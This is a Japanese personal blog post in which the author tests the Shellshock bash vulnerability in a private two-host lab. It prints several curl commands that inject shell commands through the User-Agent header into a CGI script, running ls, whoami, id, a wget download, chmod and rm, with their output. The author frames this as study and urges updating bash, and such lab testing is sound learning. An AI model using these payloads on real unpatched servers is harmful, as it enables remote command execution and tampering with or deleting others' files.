ぼちぼちbashの脆弱性を調べてみる

もういくつ寝ると秋だね。っていうかもう秋だよ。寒いよ!

今年はDNSのDoS関連から始まり、Apacheマギカは去年だっけ、HeartBleedや今回のBashといい脆弱な年になってますが、こないだ高校生がDDoSで初の検挙という事件まで起こってしまい、サイバーなヒャッハーな世界になってきているような気がするなぁ。

そんなBashの脆弱性について、自分のボキャブラリーのなさからいまいちピンと来なかったんだけど、もう下火になってそうなのと、危険度高という事でちょっと試してみたら確かにこいつは厄介なものだった。

ググれば出てくるように各ディストリビューションは対策済みのようでyumとかaptで問題はクリアできる。
環境変数でコマンドを通して実行するって感じなのかね。これもググればやり方は出てくる。
こないだローカルでハートビートの検証をしたCentos6のBashが古いままなので、それを使って実験してみよう。

とりあえずホストHB2のドキュメントルートにCGIを設置して、ホストHB3からいたづらするように下ごしらえしましした。
あくまで勉強のための検証です。

[takeken@hb02 ~]$ ip addr show eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:5c:c4:e2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.24.70/24 brd 192.168.24.255 scope global eth1
[takeken@hb03 ~]$ ip addr show eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:4f:89:17 brd ff:ff:ff:ff:ff:ff
    inet 192.168.24.71/24 brd 192.168.24.255 scope global eth1

かるくCGiを利用してコマンドが実行されるのか試してみます。

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/bin/ls /var/www/html" http://192.168.24.70/hoge.cgi
hoge.cgi

こんな感じでログインせずとも/bin/ls /var/www/htmlが実行されます。

この脆弱性はパーミッションは超えないけれど、パーミッションの中では何でもOKというものなので、ちょっと遊んでみる。

わたしは誰?

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/usr/bin/whoami" http://192.168.24.70/hoge.cgi
apache

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/usr/bin/id" http://192.168.24.70/hoge.cgi
uid=48(apache) gid=48(apache) groups=48(apache)

Apacheのようですね。
/tmpに最新のApacheをダウンロードしてやる!

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/usr/bin/wget -P /tmp http://ftp.riken.jp/net/apache//httpd/httpd-2.4.10.tar.gz" http://192.168.24.70/hoge.cgi
[takeken@hb02 ~]$ ls -l /tmp
合計 15588
-rw-r--r--  1 apache  apache 6820719  7月 19 23:30 2014 httpd-2.4.10.tar.gz

おおお、知らないあいだに/tmpにapacheがダウンロードされているぞ!
という感じでわりと色々できるようですが、使えないコマンドもわりと多いです。

もちろんですが所有ファイルであればパーミッションの変更もできます。

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/bin/chmod 000 /var/www/html/hoge.cgi" http://192.168.24.70/hoge.cgi
[root@hb02 takeken]# ls -l /var/www/html/hoge.cgi
---------- 1 apache apache 115  9月 28 20:29 2014 /var/www/html/hoge.cgi

最後にrmで消してやろうと思ったら、使っていたCGIの実行権が失われたことで遠隔からのコマンド実行もできなくなってしまった。
実験中なのだが、非常にまぬけだ。

[takeken@hb03 ~]$ curl -A "() { hoge;}; echo Content-type:text/plain;echo;/bin/rm /var/www/html/hoge.cgi" http://192.168.24.70/hoge.cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>

パーミッションについてや/sbin/nologinであるはずのシェルを持たないユーザーで何ができるのかなど、意外な部分で参考になります。
んでまた言いますが、結構使えないコマンドが多いです。
ですが、ズバリやり方は載せていませんが、かなりひどい事もできてしまうのでBashのアプデは必ずやりましょう。

できるならBashのコードをじっくり読んでどうしてこうなったかという事を考えたりするのがいいんでしょうね。もっと引き出しがあれば色々試して、そこからさらに新しい知識が増えたりするのでしょうが、眠いのと何だか色々で、今回はもういいかなぁと。

zzz

 

Related Posts


投稿者: Takeken

インターネット利用者のITリテラシーを向上したいという設定の2次元キャラです。 サーバー弄りからプログラミングまで手を付けた自称エッセイストなたけけんの物語。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です